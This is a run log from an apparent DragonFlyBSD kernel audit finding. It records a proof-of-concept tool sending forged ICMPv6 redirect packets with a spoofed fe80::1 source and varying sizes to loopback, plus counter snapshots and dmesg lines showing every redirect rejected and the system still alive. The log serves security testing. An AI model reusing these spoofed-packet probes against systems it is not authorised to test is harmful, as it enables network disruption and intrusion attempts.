⬢ DragonFlyBSD Kernel Audit
DF-2610 / run.log
← back to finding ↓ download raw 
+ cd /root/poc
+ sysctl net.inet6.icmp6.nd6_debug
net.inet6.icmp6.nd6_debug: 1
+ sysctl net.inet6.icmp6.rediraccept
net.inet6.icmp6.rediraccept: 1
BEFORE:
+ echo BEFORE:
+ ./ic6stat
stats len=4328 quadwords=541
icp6s_error=2 canterror=0 toofreq=0
outhist[139]=116 outhist[140]=25
badcode=0 tooshort=0 checksum=0 badlen=0 reflect=25
inhist[139]=113 inhist[140]=25 inhist[128]=0 inhist[133]=0 inhist[135]=1 inhist[136]=0 inhist[137]=1
+ ./redir6 -h 255 -S fe80::1 ::1
send 1/1: 40 bytes (size=40 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 48 -h 255 -S fe80::1 ::1
send 1/1: 48 bytes (size=48 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 100 -h 255 -S fe80::1 ::1
send 1/1: 100 bytes (size=100 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 150 -h 255 -S fe80::1 ::1
send 1/1: 150 bytes (size=150 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 200 -h 255 -S fe80::1 ::1
send 1/1: 200 bytes (size=200 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 256 -h 255 -S fe80::1 ::1
send 1/1: 256 bytes (size=256 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 300 -h 255 -S fe80::1 ::1
send 1/1: 300 bytes (size=300 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 512 -h 255 -S fe80::1 ::1
send 1/1: 512 bytes (size=512 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 1000 -h 255 -S fe80::1 ::1
send 1/1: 1000 bytes (size=1000 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 2000 -h 255 -S fe80::1 ::1
send 1/1: 2000 bytes (size=2000 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 2048 -h 255 -S fe80::1 ::1
send 1/1: 2048 bytes (size=2048 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 2100 -h 255 -S fe80::1 ::1
send 1/1: 2100 bytes (size=2100 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 3000 -h 255 -S fe80::1 ::1
send 1/1: 3000 bytes (size=3000 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 8000 -h 255 -S fe80::1 ::1
send 1/1: 8000 bytes (size=8000 niov=1 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 100 -v 2 -h 255 -S fe80::1 ::1
send 1/1: 100 bytes (size=100 niov=2 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 300 -v 2 -h 255 -S fe80::1 ::1
send 1/1: 300 bytes (size=300 niov=2 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 300 -v 8 -h 255 -S fe80::1 ::1
send 1/1: 300 bytes (size=300 niov=8 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -s 2048 -v 2 -h 255 -S fe80::1 ::1
send 1/1: 2048 bytes (size=2048 niov=2 hlim=255 src=forced)
DONE sent=1
+ ./redir6 -h 64 -S fe80::1 ::1
send 1/1: 40 bytes (size=40 niov=1 hlim=64 src=forced)
DONE sent=1
+ ./redir6 -h 255 ::1
send 1/1: 40 bytes (size=40 niov=1 hlim=255 src=kernel)
DONE sent=1
+ ./redir6 -s 100 -n 50 -p 20000 -h 255 -S fe80::1 ::1
send 1/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 2/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 3/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 4/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 5/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 6/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 7/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 8/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 9/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 10/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 11/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 12/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 13/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 14/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 15/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 16/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 17/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 18/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 19/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 20/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 21/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 22/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 23/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 24/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 25/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 26/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 27/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 28/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 29/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 30/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 31/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 32/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 33/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 34/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 35/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 36/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 37/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 38/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 39/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 40/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 41/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 42/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 43/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 44/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 45/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 46/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 47/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 48/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 49/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
send 50/50: 100 bytes (size=100 niov=1 hlim=255 src=forced)
DONE sent=50
ALIVE_AFTER_SENDS
+ echo ALIVE_AFTER_SENDS
+ sleep 1
AFTER:
+ echo AFTER:
+ ./ic6stat
stats len=4328 quadwords=541
icp6s_error=2 canterror=0 toofreq=0
outhist[139]=116 outhist[140]=25
badcode=0 tooshort=0 checksum=0 badlen=0 reflect=25
inhist[139]=113 inhist[140]=25 inhist[128]=0 inhist[133]=0 inhist[135]=1 inhist[136]=0 inhist[137]=71
+ echo DMESG_REDIRECT_LINES:
DMESG_REDIRECT_LINES:
+ dmesg
+ grep -i redirect
+ tail -8
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
ICMP6 redirect rejected; not equal to gw-for-src=::0001 (must be same): (src=fe80:0002::0001 dst=::0001 tgt=fe80:0002::)
+ uptime
10:02AM  up 23 mins, 0 users, load averages: 0.00, 0.01, 0.00